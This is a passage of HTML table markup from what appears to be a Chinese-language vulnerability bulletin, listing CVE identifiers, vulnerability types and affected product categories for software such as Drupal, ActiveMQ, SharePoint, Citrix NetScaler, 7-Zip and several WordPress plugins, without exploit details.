"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">命令注入/提权</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">网络管理/SD-WAN</span></span></p></td></tr><tr style="mso-yfti-irow:5;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Drupal Core SQL 注入漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-9082</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">SQL注入</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CMS/门户</span></span></p></td></tr><tr style="mso-yfti-irow:6;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Apache ActiveMQ Jolokia 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-34197</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">中间件/消息队列</span></span></p></td></tr><tr style="mso-yfti-irow:7;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">OpenTelemetry Java Agent RMI 反序列化远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-33701</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">反序列化RCE</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">Java</span></span><span style="font-size:
|
||||
9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">组件</span><span leaf="">/</span><span leaf="">可观测性</span></span></p></td></tr><tr style="mso-yfti-irow:8;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Veeam Service Provider Console 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-32998</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">备份/运维平台</span></span></p></td></tr><tr style="mso-yfti-irow:9;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Microsoft SharePoint ToolShell 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-53770</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">反序列化RCE</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">协同办公/门户</span></span></p></td></tr><tr style="mso-yfti-irow:10;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">React Server Components React2Shell 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-55182</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">Web</span></span><span style="font-size:
|
||||
9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">框架</span><span leaf="">/</span><span leaf="">前端服务端渲染</span></span></p></td></tr><tr style="mso-yfti-irow:11;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Fortra GoAnywhere MFT 反序列化命令注入漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-10035</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">反序列化/命令注入</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">文件传输/MFT</span></span></p></td></tr><tr style="mso-yfti-irow:12;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">HPE OneView 远程代码执行漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2025-37164</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">远程代码执行</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">数据中心管理</span></span></p></td></tr><tr style="mso-yfti-irow:13;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Citrix NetScaler ADC/Gateway 高危漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-3055</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:
|
||||
11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:"Times New Roman";mso-font-kerning:0pt;"><span leaf="">敏感信息泄露</span><span leaf="">/</span><span leaf="">认证风险</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">边界设备/应用交付</span></span></p></td></tr><tr style="mso-yfti-irow:14;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">7-Zip NTFS </span></span><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:"Times New Roman";mso-font-kerning:0pt;"><span leaf="">解析堆缓冲区溢出漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-48095</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">内存破坏/RCE风险</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">终端/文件处理</span></span></p></td></tr><tr style="mso-yfti-irow:15;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Google Chrome V8 零日漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-11645</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">内存破坏/RCE风险</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">浏览器/终端</span></span></p></td></tr><tr style="mso-yfti-irow:16;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">WP Maps Pro WordPress 插件未授权管理员创建漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-8732</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">权限提升</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CMS插件/WordPress</span></span></p></td></tr><tr style="mso-yfti-irow:17;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">Kirki WordPress 插件未授权账户接管漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-8206</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">账户接管</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CMS插件/WordPress</span></span></p></td></tr><tr style="mso-yfti-irow:18;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">XWiki </span></span><span style="font-size:
|
||||
9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;"><span leaf="">路径遍历漏洞</span></span></p></td><td data-colwidth="120" width="120" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">CVE-2026-23734</span></span></p></td><td data-colwidth="89" width="89" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">路径遍历/文件读取</span></span></p></td><td data-colwidth="110" width="110" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor windowtext windowtext currentcolor;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
"Times New Roman";mso-font-kerning:0pt;mso-fareast-language:EN-US;"><span leaf="">知识库/协同平台</span></span></p></td></tr><tr style="mso-yfti-irow:19;"><td data-colwidth="221" width="221" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor windowtext windowtext;border-image: initial;padding: 0cm 5.4pt;"><p style="text-align:center;line-height:normal;mso-pagination:widow-orphan;"><span style="font-size:9.0pt;mso-bidi-font-size:11.0pt;font-family:"微软雅黑",sans-serif;mso-bidi-font-family:
|
||||
